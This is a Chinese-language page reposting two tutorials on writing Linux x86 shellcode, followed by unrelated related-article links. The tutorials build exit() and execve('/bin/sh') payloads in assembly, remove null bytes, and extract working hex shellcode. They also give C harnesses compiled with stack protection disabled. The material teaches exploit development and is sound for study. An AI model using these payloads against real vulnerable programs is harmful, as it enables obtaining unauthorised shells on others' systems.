Linux下shellcode的编写
Linux下shellcode的编写
来源 https://xz.aliyun.com/t/2052
0x01 理解系统调用
shellcode是一组可注入的指令,可以在被攻击的程序中运行。由于shellcode要直接操作寄存器和函数,所以必须是十六进制的形式。
那么为什么要写shellcode呢?因为我们要让目标程序以不同于设计者预期的方式运行,而操作的程序的方法之一就是强制它产生系统调用(system,call,syscall)。通过系统调用,你可以直接访问系统内核。
在Linux里有两个方法来执行系统调用,间接的方法是c函数包装(libc),直接的方法是用汇编指令(通过把适当的参数加载到寄存器,然后调用int 0x80软中断)
废话不多说,我们先来看看最常见的系统调用exit(),就是终止当前进程。
(注:本文测试系统是ubuntu-17.04 x86)
int main(void)
{
exit(0);
}
(编译时使用static选项,防止使用动态链接,在程序里保留exit系统调用代码)gcc -static -o exit exit.c
用gdb反汇编生成的二进制文件:
_exit+0行是把系统调用的参数加载到ebx。
_exit+4和_exit+15行是把对应的系统调用编号分别被复制到eax。
最后的int 0x80指令把cpu切换到内核模式,并执行我们的系统调用。
0x02 为exit()系统调用写shellcode
在基本了解了一下exit()系统调用后,就可以开始写shellcode了~
要注意的是我们的shellcode应该尽量地简洁紧凑,这样才能注入更小的缓冲区(当你遇到n字节长的缓冲区时,你不仅要把整个shellcode复制到缓冲区,还要加上调用shellcode的指令,所以shellcode必须比n小)。
在实际环境中,shellcode将在没有其他指令为它设置参数的情况下执行,所以我们必须自己设置参数。这里我们先通过将0放入ebx中的方法来设置参数。
步骤大概是:
- 把0存到ebx
- 把1存到eax
- 执行int 0x80指令来产生系统调用
根据这三个步骤来写汇编指令:
Section .text
global _start
_start:
mov ebx, 0
mov ax, 1
int 0x80
然后用nasm编译,生成目标文件,再用gun ld来连接:
nasm -f elf32 exit_shellcode.asm
ld -i exit_shellcode exit_shellcode.o
然后objdump就能显示相应的opcode了:
看起来好像是成功了。但是很遗憾,这个shellcode在实际攻击中可能会无法使用。
可以看到,这串shellcode中还有一些NULL(\x00)字符,当我们把shellcode复制到缓冲区时,有时候会出现异常(因为字符数组用null做终止符)。要编写真正有用的shellcode我们还要想办法把\x00消去。
首先我们看第一条指令(mov ebx, 0)将0放入ebx中。熟悉汇编的话就会知道,xor指令在操作数相等的情况下返回0,也就是可以在指令里不使用0,但是结果返回0,那么我们就可以用xor来代替mov指令了。mov ebx, 0 --> xor ebx, ebx
再看第二条指令(mov ax, 1)为什么这条指令也会有null呢?我们知道,eax是32位(4个字节)的寄存器,而我们只复制了1个字节到了寄存器,而剩下的部分,系统会自动用null填充。熟悉eax组成的就知道,eax分为两个16位区域,用ax可以访问第一个区域,而ax又分为al和ah两个区域。那么解决方法就是只要把1复制到al就行了。mov eax, 1 --> mov al, 1
至此,我们已经将所有的null都清除了。
Section .text
global _start
_start:
xor ebx, ebx
mov al, 1
int 0x80

嗯,已经没有\x00了。接下来就可以编写个c程序来测试这个shellcode了。
char shellcode[] = "\x31\xdb"
"\xb0\x01"
"\xcd\x80";
int main(void)
{
int *ret;
ret = (int *)&ret + 2;
(&ret) = (int)shellcode;
}
编译后用strace来查看系统调用:
0x03 编写execve()的shellcode
exit()可能没什么意思,接下来我们做点更有趣的事情-派生root shell-控制整个目标系统。
在Linux里,有两种方法创建新进程:一是通过现有的进程来创建,并替换正在活动的;二是利用现有的进程来生成它自己的拷贝,并在它的位置运行这个新进程。而execve()系统调用就可以在现有的进程空间里执行其他的进程。
接下来我们开始一步步写execve的shellcode:
1.查找execve的系统调用号码:
可以在如图的系统目录中找到execve的系统调用号码:11
2.接下来我们需要知道它作为输入的参数,用man手册就可以查看:

3个参数必须包含以下内容:
- filename必须指向包含要执行的二进制文件的路径的字符串。在这个栗子中,就是字符串[/ bin / sh]。
- argv []是程序的参数列表。大多数程序将使用强制性/选项参数运行。而我们只想执行“/ bin / sh”,而没有任何更多的参数,所以参数列表只是一个NULL指针。但是,按照惯例,第一个参数是我们要执行的文件名。所以,argv []就是['/ bin / sh',00000000]
- envp []是要以key:value格式传递给程序的任何其他环境选项的列表。为了我们的目的,这将是NULL指针\0x00000000
3.和exit()一样,我们使用int 0x80的系统调用。注意要在eax中包含execve的系统调用号“11”。
4.接下来就可以开始编写shellcode了,节约时间,我在这直接放上写好的shellcode并加上了注释:
需要解释的是向堆栈中反向推送//bin/sh。我们知道在x86堆栈中是从高地址到低地址的,所以要输入反向的字符串。同样,使用为4的倍数的最短指令会更容易些。
而/bin/sh是7个字节,怎么把它变成8个字节呢?很简单,加个/就ok了。因为在Linux中,多几个/都不会有问题的,像这样:p
然后用python来生成hs/nib//的十六进制吧:
然后将它们入栈就好。其他的看注释应该都能懂,就不多说了。
5.编译运行成功后用objdump查看:
这里分享一个方便提取shellcode的指令,来源
objdump -d ./execve-stack|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

6.shellcode已经提取成功了,接下来用c程序来验证一下:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(void)
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
编译运行gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
成功:D
0x04 参考链接
http://www.vividmachines.com/shellcode/shellcode.html
http://www.cnblogs.com/feisky/archive/2009/10/23/1588737.html
-------------------------------------------------------
Linux 下一个简单的shellcode编写
来源 https://www.cnblogs.com/elvirangel/p/6974580.html
0x00 前言
漏洞利用中必不可缺的部分就是shellcode,不会编写shellcode和咸鱼有什么区别,跳出咸鱼第一步。
0x01 系统调用
通过系统调用execve函数返回shell
|
1
2
3
4
5
6
7
8
|
C语言实现:#include<unistd.h>#include<stdlib.h>char *buf [] = {"/bin/sh",NULL};int main(void){ execve("/bin/sh",buf,0); exit(0);} |
execve函数在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序。execve()用来执行第一参数字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。从程序中可以看出,如果通过C语言调用execve来返回shell的话,首先需要引入相应的头文件,然后在主函数中调用系统调用函数execve;同时传入三个参数。
|
1
2
3
|
编译运行,获得shell $ ./shellcode$ whoamielvirangel |
32位linux内核的系统调用表可以通过http://syscalls.kernelgrok.com/网站来查询,我们这里获得shell只需用到execve函数

这里execve函数系统调用号为11,图中也给出了对应寄存器中保存的参数值
0x02 汇编形式编写shellcode
1. Int 0x80软中断
int 0x80软中断是系统中断,根据中断号和相关寄存器设置调用对应系统函数
2. 开始编写shellcode
|
1
2
3
4
5
6
7
8
9
10
11
|
global _start_start:mov eax,0 ;eax置0mov edx,0 ;edx置0push edxpush "/sh"push "/bin" ;将/bin/sh存入栈中mov ebx,esp ;ebx指向/bin/sh字符串xor eax,eaxmov al,0Bh ;eax置为execve函数中断号int 80h |
保存为shellcode.asm,通过编译链接,然后运行,获得shell
|
1
2
3
4
|
elvirangel@elvirangel-virtual-machine:~/DIY$ nasm -f elf32 shellcode.asmelvirangel@elvirangel-virtual-machine:~/DIY$ ld -m elf_i386 -o shellcode shellcode.oelvirangel@elvirangel-virtual-machine:~/DIY$ ./001$ whoami<br>elvirangel |
获得机器码
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
$ objdump -d shellcodeshellcode: file format elf32-i386Disassembly of section .text:08048060 <_start>: 8048060: b8 00 00 00 00 mov $0x0,%eax 8048065: ba 00 00 00 00 mov $0x0,%edx 804806a: 52 push %edx 804806b: 68 2f 73 68 00 push $0x68732f 8048070: 68 2f 62 69 6e push $0x6e69622f 8048075: 89 e3 mov %esp,%ebx 8048077: 31 c0 xor %eax,%eax 8048079: b0 0b mov $0xb,%al 804807b: cd 80 int $0x80 |
发现机器码中有许多/x00字节,shellcode中存在/x00字节在进行利用的时候会被截断,所以我们要避免出现/x00字节,重新修改我们的汇编程序
|
1
2
3
4
5
6
7
8
9
10
11
|
global _start_start:xor ecx,ecxxor edx,edxpush edxpush "//sh"push "/bin"mov ebx,espxor eax,eaxmov al,0Bhint 80h |
编译链接运行,得到机器码
|
1
2
3
4
5
6
7
8
9
10
11
12
13
|
$ objdump -d ./shellcode./shellcode: file format elf32-i386Disassembly of section .text: 08048060 <_start>: 8048060: 31 c9 xor %ecx,%ecx 8048062: 31 d2 xor %edx,%edx 8048064: 52 push %edx 8048065: 68 2f 2f 73 68 push $0x68732f2f 804806a: 68 2f 62 69 6e push $0x6e69622f 804806f: 89 e3 mov %esp,%ebx 8048071: 31 c0 xor %eax,%eax 8048073: b0 0b mov $0xb,%al 8048075: cd 80 int $0x80 |
没有出现/x00字节,得到最终的 shellcode = "\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80"
0x03 后记
刚接触,很多细节没有讨论,详情请看参考链接
0x04 参考
================ End
Linux下shellcode的编写的更多相关文章
- linux下对qt编写的程序进行部署
当我们完成程序设计之后,需要将可执行程序交付客户,而运行环境里面可能是没有相关支持库的,这个时候就涉及到部署的相关问题.对于我们在Linux下基于QT编写的图像处理程序,我们采用linuxdeploy ...
- linux下使用多线程编写的聊天室
自从开始学linux网络编程后就想写个聊天室,一开始原本打算用多进程的方式来写,可是发觉进程间的通信有点麻烦,而且开销也大,后来想用多线程能不能实现呢,于是便去看了一下linux里线程的用法,实际上只 ...
- linux下使用汇编语言编写hello world!程序
最近公司需要完成安全方面的测试,随之带来需要更深入地学习攻击方法和漏洞分析的技术,总感觉有点像黑客:),不过不能只知道一些安全测试工具的方法和工具的使用,更需要基础功夫,首先从大学学过的汇编语言(呵呵 ...
- Linux下Makefile的编写及四个特殊符号的意义@、$@、$^、$
转自:https://blog.csdn.net/runfarther/article/details/50036115# 我们先看三段C++程序: 一.line1的源码 line1.h #ifnde ...
- linux下shellcode提取常用到的命令
汇编语言的汇编指令: nasm -f elf xxx.asm 生成xxx.o文件 ld -o xxx xxx.o 生成可执行文件,不用加参数-s ,否则在提取shellcode的十六进制码的 ...
- Linux 下操作GPIO(两种方法,驱动和mmap)(转载)
目前我所知道的在Linux下操作GPIO有两种方法: 1.编写驱动,这当然要熟悉Linux下驱动的编写方法和技巧,在驱动里可以使用ioremap函数获得GPIO物理基地址指针,然后使用这个指针根据io ...
- linux 使用文本编辑器编写shell脚本执行权限不够
在linux下,自己编写的脚本需要执行的时候,需要加上执行的权限 解决方式:chmod 777 test.sh
- Linux 下操作gpio(两种方法,驱动和mmap)
目前我所知道的在linux下操作GPIO有两种方法: 1. 编写驱动,这当然要熟悉linux下驱动的编写方法和技巧,在驱动里可以使用ioremap函数获得GPIO物理基地址指针,然后使用这个指针根据 ...
- linux下avr单片机开发:中断服务程序
不管是什么单片机程序,中断总是非常重要的一部分 ,linux 下的avr开发,主要是依靠avr-gcc,以及avr-libc,它们对中断程序的格式要求,与window下的icc-avr以及win-av ...
随机推荐
- 生成自签名证书-开启https
1.生成CA证书 # 生成 CA 私钥 openssl genrsa -out ca.key 2048 # X.509 Certificate Signing Request (CSR) Manage ...
- [android] 与PHP的session进行交互demo
从MainActivity跳转到MailIndexActivity,第一个请求接口设置session,第二个activity请求接口获取session java代码中获取header头里面的Set-C ...
- django基础一:web、wsgi、mvc、mtv
一.web框架 web框架,即framework,特指为解决一个开放性问题而设计的具有一定约束性的支撑结构,使用框架可以快速开发特定的系统.他山之石,可以攻玉.python的所有web框架,都是对so ...
- MD5加密+加盐
了解: MD5加密,是属于不可逆的.我们知道正常使用MD5加密技术,同一字符,加密后的16进制数是不变的,自从出现彩虹表,对于公司内部员工来说,可以反查数据,获取不可能的权限,所以出现了salt算法. ...
- 第2章 css边框属性
圆角效果 border-radius border-radius是向元素添加圆角边框. 使用方法: border-radius:10px; /* 所有角都使用半径为10px的圆角 */ border- ...
- 洛谷P1155 双栈排序(贪心)
题意 题目链接 Sol 首先不难想到一种贪心策略:能弹则弹,优先放A 然后xjb写了写发现只有\(40\),原因是存在需要决策的情况 比如 \(A = {10}\) \(B = {8}\) 现在进来一 ...
- VS2010环境开发Teamcenter ITK
前言 这篇文章主要是用Teamcenter ITK开发的入门配置教程.几个月前学习ITK开发时,领导要求将配置过程整理成学习笔记.最近同事要做ITK开发,就发给他了.感觉这篇文章对别人还是有帮助的,决 ...
- 3 TFRecord样例程序实战
将图片数据写入Record文件 # 定义函数转化变量类型. def _int64_feature(value): return tf.train.Feature(int64_list=tf.train ...
- [翻译] 单例(Singleton)
英文原文: https://sourcemaking.com/design_patterns/singleton 意图 确保一个类只有一个实例,并提供一个访问其实例的全局点: 封装 “即时初始化” ( ...
- SpringMVC学习(一)——概念、流程图、源码简析
学习资料:开涛的<跟我学SpringMVC.pdf> 众所周知,springMVC是比较常用的web框架,通常整合spring使用.这里抛开spring,单纯的对springMVC做一下总 ...